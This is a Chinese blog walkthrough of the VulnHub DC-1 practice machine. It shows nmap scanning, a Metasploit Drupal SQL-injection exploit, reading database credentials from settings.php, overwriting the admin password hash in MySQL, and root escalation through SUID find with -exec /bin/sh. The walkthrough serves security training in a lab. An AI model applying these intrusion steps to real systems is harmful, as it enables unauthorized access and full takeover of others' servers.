【VulnHub靶机渗透】五:DC-1
VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学)。
文章较臃长,记录了不断测试并发现利用的过程。
文章目录
- 一、相关简介
- 二、信息搜集
- 三、渗透步骤
- 1、发现并利用漏洞
- 2、依次得到flag
- 四、知识总结
一、相关简介
靶机:
该靶机设定一些线索,引导用户得到相关信息,并使用了一个存在漏洞(代码执行漏洞)的CMS版本。
- 名称:DC-1
- 系统:Linux Debian
- 难度:初学者
- 目标:读取5个flag,拿到root权限
环境:
- 靶机:DC-1——192,168.11.24
- 攻击机:Kali——192.168.11.11
- 工具:Nmap、dirb、BurpSuit、whatweb、MSF等
二、信息搜集
先进行主机发现,因为是局域网,所以可以直接使用arp-scan
当然也可以使用nmap
nmap -sn 192.168.11.1/24
端口扫描,得到以下信息
nmap -sS -Pn -sV -T4 -O 192.168.11.24
Web指纹识别,得到以下信息
whatweb -v -a 3 http://192.168.11.24
Web目录爆破,扫出了很多文件,但是却基本都没有用处
总结一下,通过扫描以及访问,得到以下有用信息:
- IP:192.168.11.24
- OS:Linux 3.2 - 3.16
- Linux_Kernel:3
- 22端口:ssh服务
- 80端口:http服务 - Apache服务器,CMF - Drupal V7 版本
- 111端口:rpcbind服务,RPC
有用的Web目录:
- http://192.168.11.24/index.php:**Drupal登录主页**
- http://192.168.11.24/robots.txt:**Robots文件**
三、渗透步骤
1、发现并利用漏洞
在22端口的ssh服务爆破失败,111端口的RPC使用MSF利用失败后,将重点放在了Web站点的渗透上。
Web信息之前扫描目录时,得到了许多文件,但是基本都用处不大,只有以下两个稍有用处:
- http://192.168.11.24/index.php:**Drupal登录主页**
- http://192.168.11.24/robots.txt:**Robots文件**
查看Robots文件
可以看到有许多文件以及路径,这有利于之后进入系统后,对站点目录结构进行分析。
对Robots中出现的路径访问发现也没有有用信息,所以转战到主页,也就是Drupal登录界面
注:
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。
查看当前站点的指纹信息:
在使用字典爆破无果后,想到了上次的教训,于是在Kali中搜索是否存在已知版本漏洞,果然发现了问题:
存在SQL注入,使用MSF进行渗透,查找EXP,发现了SQL注入的EXP
还有一些其他的比较新的的漏洞,就用sql注入漏洞来利用吧,设置好参数后,运行即可建立session(如果失败的话,可以尝试其他比较新的利用模块)
输入 shell 得到 shell 环境,再使用以下 python 语句得到Terminal环境
python -c 'import pty;pty.spawn("/bin/bash")'
2、依次得到flag
1)flag1
查看当前目录下的文件,发现了flag1
提示需要找当前 CMS 的配置文件,那就是config
、setting
等一些文件,可能会是配置文件。
2)flag2
找啊找,找啊找,终于在/var/www/sites/default/
目录下的settings.php
文件中找到了flag2,还发现了数据库的信息,惊喜!
flag2 指出: 爆破和字典攻击不是唯一的获得成功方法,不可以用这些信息干什么。
言外之意,flag2 下边的数据库信息是可以利用的,尝试使用给出的账号密码连接mysql,成功进入数据库
接下来就是脱裤了,只有两个数据库,还有一个是系统库,所以另一个应该是会有相关信息
在drupaldb库中发现了一张users表,内容是Drupal账户信息,但是密码做了特殊加密处理,如下(111账户是测试创建的):
select * from users;
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| uid | name | pass | mail | theme | signature | signature_format | created | access | login | status | timezone | language | picture | init | data |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| 0 | | | | | | NULL | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL |
| 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com | | | NULL | 1550581826 | 1550583852 | 1550582362 | 1 | Australia/Melbourne | | 0 | admin@example.com | b:0; |
| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org | | | filtered_html | 1550581952 | 1550582225 | 1550582225 | 1 | Australia/Melbourne | | 0 | fred@example.org | b:0; |
| 3 | 111 | $S$D3h/JrtlNcGVUI4lU0TPEiHcEOFAdhdwsL9tmhraptsmWrLHUPgR | 428857624@qq.com | | | filtered_html | 1586432228 | 0 | 0 | 0 | Australia/Melbourne | | 0 | 428857624@qq.com | NULL |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
4 rows in set (0.00 sec)
除此之外也没有其他可利用信息,既然有账户信息,又有密码,那么就可以自己加密一个密码,写入表中,就可以登录了。
在网上查找信息终于得到 Drupal 的加密方式以及加密文件位置:
- 加密方式文件:
./includes/password.inc
,以下为部分代码: - 加密文件(可执行):
./scripts/password-hash.sh
,以下为部分代码:
加密文件./scripts/password-hash.sh
是一个可执行文件,传入一个明文密码字符串,就输出加密后的密文。
但是当我执行的时候出现了如下报错:
PHP Warning: include_once(/var/www/scripts/includes/password.inc): failed to open stream: No such file or directory in /var/www/scripts/password-hash.sh on line 83
PHP Warning: include_once(): Failed opening '/var/www/scripts/includes/password.inc' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/scripts/password-hash.sh on line 83
PHP Warning: include_once(/var/www/scripts/includes/bootstrap.inc): failed to open stream: No such file or directory in /var/www/scripts/password-hash.sh on line 84
PHP Warning: include_once(): Failed opening '/var/www/scripts/includes/bootstrap.inc' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/scripts/password-hash.sh on line 84
PHP Fatal error: Call to undefined function user_hash_password() in /var/www/scripts/password-hash.sh on line 87
分析一下出错原因,报错中指出,'/var/www/scripts/includes/password.inc'
文件找不到,但是刚才发现,includes目录并不在scripts目录下,因此会报错。
使用命令 cp -r ../includes ./
复制整个includes目录至scripts目录,再次执行,成功对123456加密
格式与数据库中存在的密码一致,现在只需要将该密文写入user表中,可以选择更改数据或者是创建一个新用户,这里我直接修改已有账户admin的密码
update users set pass='$S$DfBIXCmF.dJ5Ky2bWAMukxpsipRCGvQmXC.jnlUMbGIbySLzw7a0' where name='admin';
查看修改后的数据库账户信息,已经成功修改密码
3)flag3
现在就可以使用修改后的帐户信息去登录网站的CMS了,成功进入系统,经过一番倒腾后,在Content处发现了flag3:
flag3指出: 特殊权限是需要用到 find
和 -exec
命令,也提到了shadow。就是说提权的话,需要用到以上两个命令,以及shadow文件。
4)flag4
既然提到了shadow,就去系统看看相关文件,shadow自然是没有权限,但是在passwd文件中发现了flag4
切换至/home/flag4
目录下,得到了flag4.txt
flag4 没有什么信息,疑似大致是,要想拿到下一个flag,就需要拿到root权限。
5)flag5
我们查找一下flag5,发现的确是需要root权限,那就需要进行提权
之前flag3中已经说到了可以利用 find
和 -exec
命令来提权,find提权的原理:
- 如果find本身具有suid的权限,因此通过find执行的命令就是root权限。
详细可见这篇博客:【提权】Linux的SUID提权
以下为参考其他文章的知识点:
先使用find命令查找存在suid权限的命令,果然有find命令
find / -type f -perm -u=s 2>/dev/null
使用以下命令提权至root权限:
find ./ aaa -exec '/bin/sh' \;
命令解释:
- find是suid权限,-exec 参数后面跟的command命令是调用shell程序,那么此时就会使用root权限开启了一个shell,即提权至root权限
进入root目录,得到flag5
四、知识总结
整体步骤:
- 利用CMS已知漏洞进入系统,在网站目录下得到flag1
- 根据flag1提示的配置文件,找到settings.php,得到flag2
- 利用配置文件中的数据库账号密码进入mysql数据库,发现一张用户表users
- 修改数据库中users表里的用户密码,利用新账户密码进入CMS,得到flag3
- 在passwd下发现flag4用户,在flag4用户目录下得到flag4
- 利用find的SUID权限以及 -exec 参数提权至root,得到flag5
知识点:
- 提权时,可以利用
SUID
权限的命令,如find来进行root权限的操作。 - 当find拥有SUID权限时,find执行的命令就会具有root权限,而 -exec 参数后边的值是可以执行的命令。
- 当该参数值设定为调用
/bin/bash
或者/bin/sh
时,就会使用root权限开启一个shell,提权成功。
还没有评论,来说两句吧...